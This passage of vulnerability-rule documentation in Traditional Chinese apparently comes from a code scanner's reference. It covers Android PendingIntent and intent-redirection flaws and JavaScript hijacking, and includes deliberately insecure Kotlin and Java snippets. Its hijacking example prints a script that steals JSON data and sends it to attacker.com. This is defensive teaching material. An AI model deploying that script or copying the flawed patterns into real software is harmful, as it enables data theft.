[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[14] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[23] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[44] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[45] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.java.intent_manipulation_implicit_internal_intent
Abstract
偵測到隱含 PendingIntent。隱含 Pending Intent 可能會導致安全性弱點,例如 Denial of Service、私人和系統資訊洩漏以及提升特權。
Explanation
Android Intent 用於透過提供有關特定元件執行之動作的指令,將應用程式和應用程式元件繫結在一起。建立 Pending Intent 是為了稍後傳送 Intent。隱含 Intent 有助於從任何特定外部元件呼叫 Intent,並使用通用名稱和篩選器來確定執行。

將隱含 Intent 做為 PendingIntent 建立時,可能會導致 Intent 被傳送到在預期暫存內容外部執行的非預期元件,從而使系統容易受到諸如 Denial of Service、私人和系統資訊洩漏和提升特權等的攻擊。

範例 1:以下程式碼使用隱含 PendingIntent


...
val imp_intent = Intent()
val flag_mut = PendingIntent.FLAG_MUTABLE
val pi_flagmutable_impintintent = PendingIntent.getService(
this,
0,
imp_intent,
flag_mut
)
...
References
[1] Remediation for Implicit PendingIntent Vulnerability
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark partial
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 99
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[14] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[23] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[44] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[45] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.java.intent_manipulation_implicit_pending_intent
Abstract
偵測到 PendingIntent 的旗標值設為 FLAG_MUTABLE。建立的 Pending Intent 具有 FLAG_MUTABLE 旗標值時,很容易受到下游設定的未指定 Intent 欄位的影響,這可能會修改 Intent 的能力並使系統容易受到攻擊。
Explanation
若允許在建立 PendingIntent 後修改其底層 Intent,可能會使系統容易受到攻擊。這主要取決於底層 Intent 的整體能力。在大多數情況下,最佳方式是將 PendingIntent 旗標設為 FLAG_IMMUTABLE 來防止潛在問題。

範例 1:以下包括建立一個使用 FLAG_MUTABLE 旗標值建立 PendingIntent


...
val intent_flag_mut = Intent(Intent.ACTION_GTALK_SERVICE_DISCONNECTED, Uri.EMPTY, this, DownloadService::class.java)
val flag_mut = PendingIntent.FLAG_MUTABLE

val pi_flagmutable = PendingIntent.getService(
this,
0,
intent_flag_mut,
flag_mut
)
...
References
[1] Remediation for Implicit PendingIntent Vulnerability
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark partial
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 99
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[14] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[23] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II
[44] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[45] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.java.intent_manipulation_mutable_pending_intent
Abstract
使用來自外部輸入的巢狀 Intent 來啟動活動、啟動服務或傳遞廣播時,都可能讓攻擊者可以任意啟動內部應用程式元件、控制內部元件的行為或透過臨時權限授予間接存取內容提供者的受保護資料。
Explanation
符合以下條件時,會出現 Redirection Intent Manipulation 問題:
1.匯出的元件會接受外部提供之 Intent 的額外組合中巢狀化的任意 Intent

2.匯出的元件藉由呼叫 startActivitystartServicesendBroadcast 來使用任意 Intent 啟動元件。

當這些條件存在時,攻擊者可能會獲得原本不允許的能力。
範例 1:以下程式碼接受外部來源的巢狀 Intent,並使用該 Intent 來啟動活動。


...
Intent nextIntent = (Intent) getIntent().getParcelableExtra("next-intent");
startActivity(nextIntent);
...
References
[1] Intent
[2] Remediation for Intent Redirection Vulnerability - Google Help
[3] Nicole Borrelli Android Nesting Intents
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[5] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[6] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[7] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - CIS Kubernetes Benchmark partial
[10] Standards Mapping - Common Weakness Enumeration CWE ID 99
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[18] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[19] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[20] Standards Mapping - OWASP Top 10 2017 A5 Broken Access Control
[21] Standards Mapping - OWASP Top 10 2021 A01 Broken Access Control
[22] Standards Mapping - OWASP API 2023 API2 Broken Authentication
[23] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[24] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[25] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.2.3 - Web Software Access Controls, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3600 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3600 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3600 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3600 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3600 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3600 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3600 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.intent_manipulation_redirection
Abstract
使用 JavaScript 符號來傳送敏感資料的應用程式可能對 JavaScript 劫持的弱點,這允許未經授權的攻擊者從一個易受攻擊的應用程式中讀取機密資料。
Explanation
在下列情況下,應用程式可能很容易受到 JavaScript 劫持的攻擊:1) 使用 JavaScript 物件做為資料傳輸格式,2) 處理機密資料。由於 JavaScript 劫持弱點不會做為編碼錯誤的直接結果出現,因此 Fortify Secure Coding Rulepacks 會透過識別在 HTTP 回應中可能產生 JavaScript 的程式碼,喚起人們對潛在 JavaScript 劫持弱點的注意。

網頁瀏覽器強制使用相同來源策略 (Same Origin Policy) 來保護使用者免受惡意網站的攻擊。相同來源策略 (Same Origin Policy) 要求,若要使用 JavaScript 存取網頁的內容,則 JavaScript 和網頁都必須來自相同的網域。若不使用相同來源策略 (Same Origin Policy),惡意網站可使用用戶端的憑證執行從其他網站載入敏感資訊的 JavaScript,從中挑選資訊,並將資訊回傳給攻擊者。JavaScript 劫持的攻擊將允許攻擊者略過相同來源策略 (Same Origin Policy),在 Web 應用程式使用 JavaScript 來傳遞機密資訊。相同來源策略 (Same Origin Policy) 的弱點就是它允許任何網站的 JavaScript 都可被任何其他網站的上下文環境包含或執行。即使惡意的網站不能直接在用戶端上檢查來自於易受攻擊的網站載入的任何資料,但是它仍然可以設定環境來利用此弱點,此環境允許它去監視 JavaScript 的執行過程和任何相關的負面影響。很多的網路 2.0 應用程式將 JavaScript 當做資料傳輸機制使用,與傳統的 Web 應用程式不同,它們很容易受到攻擊。

在 JavaScript 中最常見的資訊傳輸的格式為 JavaScript Object Notation (JSON)。JSON RFC 將 JSON 語法定義為 JavaScript 物件文字語法(object literal syntax)的子集。JSON 基於兩種類型的資料結構:陣列和物件。任何可將訊息解譯成一個或多個有效的 JavaScript 指令的資料傳輸格式,都極易受到 JavaScript 劫持的攻擊。JSON 使 JavaScript 劫持攻擊變得更容易,因為 JSON 陣列堅持認為它自己是一個有效的 JavaScript 指令。因為陣列是傳輸清單的一種正常形式,當應用程式需要傳輸多個值時一般會使用該形式。換句話說,JSON 陣列會直接受到 JavaScript 劫持的攻擊。JSON 物件只在它被一些其他 JavaScript 結構包圍時才會受到攻擊,這些 JavaScript 結構堅持它們自己是有效的 JavaScript 指令。

範例 1:以下範例首先顯示 Web 應用程式的用戶端與伺服器元件之間的合法 JSON 互動,此 Web 應用程式用於管理銷售機會。範例進一步說明攻擊者是如何模擬用戶端並取得伺服器傳回的機密資料的存取權。請注意,本範例是以 Mozilla 為基礎的瀏覽器來撰寫的。在建立物件時,若沒有使用新的運算子,其他主流的瀏覽器將不允許替換原始的構造函數。

用戶端要求來自伺服器的資料,並使用以下的程式碼來評估 JSON 結果:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


當此程式碼執行時,將產生如下的 HTTP 要求:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(在此 HTTP 回應和之後的內容,我們省略了與此說明沒有直接關係的 HTTP 表頭。)
伺服器使用 JSON 格式的陣列進行回應:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


在此案例中,JSON 包含了與目前使用者相關的機密資訊 (一組銷售機會清單)。其他使用者如果不知道使用者的階段作業識別碼,是無法存取這些資訊的。(在大部份的現代 Web 應用程式中,階段作業識別碼儲存在 cookie 中。)不過,如果一位受害者造訪了惡意的網站,此惡意網站可以使用 JavaScript 劫持來擷取資訊。如果受害者受騙而造訪了包含下列惡意程式碼的網頁,則將會把受害者的重要資訊傳送到攻擊者的網站中。


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


惡意程式碼使用 Script 標籤將 JSON 物件包括在目前頁面中。網路瀏覽器會隨要求傳送相應的階段作業 cookie。換言之,系統將會處理此要求,就像其來自合法應用程式一樣。

JSON 陣列到達用戶端時,將在惡意頁面的環境內接受評估。為了監視 JSON 的評估,惡意頁面已重新定義用於建立新物件的 JavaScript 函數。透過此方式,惡意程式碼已插入陷阱,藉此取得建立每個物件以及將物件的內容傳回惡意網站的存取權。其他攻擊可能會改為取代陣列的預設建構函式。為了在 mashup 中使用而建立的應用程式有時會在每則 JavaScript 訊息的末尾呼叫收回函數。收回函數原本由 mashup 中的其他應用程式定義。收回函數讓 JavaScript 劫持攻擊成為常事,所有攻擊者只需定義函數即可。應用程式可為 mashup 提供方便,也可以保持安全,但兩者不可兼得。若使用者未登入易受攻擊的網站,攻擊者可能請求使用者登入,然後顯示應用程式的合法登入頁面,藉此進行彌補。

這並非網路釣魚攻擊,因為攻擊者並未取得使用者憑證的存取權,因此防網路釣魚的應對舉措無法防禦此攻擊。更複雜的攻擊可能會使用 JavaScript 動態產生 Script 標籤,從而對應用程式產生一系列要求。這一相同技術有時也用於建立應用程式 mashup。唯一的不同之處在於,在此 mashup 情況中,涉及的其中一個應用程式是惡意的。
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[12] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[13] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[28] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.java.javascript_hijacking
Abstract
使用 JavaScript 符號來傳送敏感資料的應用程式可能對 JavaScript 劫持的弱點,這允許未經授權的攻擊者從一個易受攻擊的應用程式中讀取機密資料。
Explanation
在下列情況下,應用程式可能很容易受到 JavaScript 劫持的攻擊:1) 使用 JavaScript 物件做為資料傳輸格式,2) 處理機密資料。由於 JavaScript 劫持弱點不會做為編碼錯誤的直接結果出現,因此 Fortify Secure Coding Rulepacks 會透過識別在 HTTP 回應中可能產生 JavaScript 的程式碼,喚起人們對潛在 JavaScript 劫持弱點的注意。

網頁瀏覽器強制使用相同來源原則 (Same Origin Policy) 來保護使用者免受惡意網站的攻擊。相同來源策略 (Same Origin Policy) 要求,若要使用 JavaScript 存取網頁的內容,則 JavaScript 和網頁都必須來自相同的網域。若不使用相同來源策略 (Same Origin Policy),惡意的網站可使用用戶端的憑證來執行 JavaScript,從其他網站載入敏感的資訊,從中挑選出資訊並將資訊回傳給攻擊者。JavaScript 劫持的攻擊將允許攻擊者略過相同來源策略 (Same Origin Policy),在 Web 應用程式使用 JavaScript 來傳遞機密資訊。相同來源策略 (Same Origin Policy) 的弱點就是它允許任何網站的 JavaScript 都可被任何其他網站的上下文環境包含或執行。即使惡意的網站不能直接在用戶端上檢查來自於易受攻擊的網站載入的任何資料,但是它仍然可以設定環境來利用此弱點,此環境允許它去監視 JavaScript 的執行過程和任何相關的負面影響。很多的網路 2.0 應用程式將 JavaScript 當做資料傳輸機制使用,與傳統的 Web 應用程式不同,它們很容易受到攻擊。

在 JavaScript 中最常見的資訊傳輸的格式為 JavaScript Object Notation (JSON)。JSON RFC 將 JSON 語法定義為 JavaScript 物件文字語法(object literal syntax)的子集。JSON 基於兩種類型的資料結構:陣列和物件。任何可將訊息解譯成一個或多個有效的 JavaScript 指令的資料傳輸格式,都極易受到 JavaScript 劫持的攻擊。JSON 使 JavaScript 劫持攻擊變得更容易,因為 JSON 陣列堅持認為它自己是一個有效的 JavaScript 指令。因為陣列是傳輸清單的一種正常形式,當應用程式需要傳輸多個值時一般會使用該形式。換句話說,JSON 陣列會直接受到 JavaScript 劫持的攻擊。JSON 物件只在它被一些其他 JavaScript 結構包圍時才會受到攻擊,這些 JavaScript 結構堅持它們自己是有效的 JavaScript 指令。

範例 1:以下範例首先顯示 Web 應用程式的用戶端與伺服器元件之間的合法 JSON 互動,此 Web 應用程式用於管理銷售機會。範例進一步說明攻擊者是如何模擬用戶端並取得伺服器傳回的機密資料的存取權。請注意,本範例是以 Mozilla 為基礎的瀏覽器來撰寫的。在建立物件時,若沒有使用新的運算子,其他主流的瀏覽器將不允許替換原始的構造函數。

用戶端要求來自伺服器的資料,並使用以下的程式碼來評估 JSON 結果:

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


當此程式碼執行時,將產生如下的 HTTP 要求:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


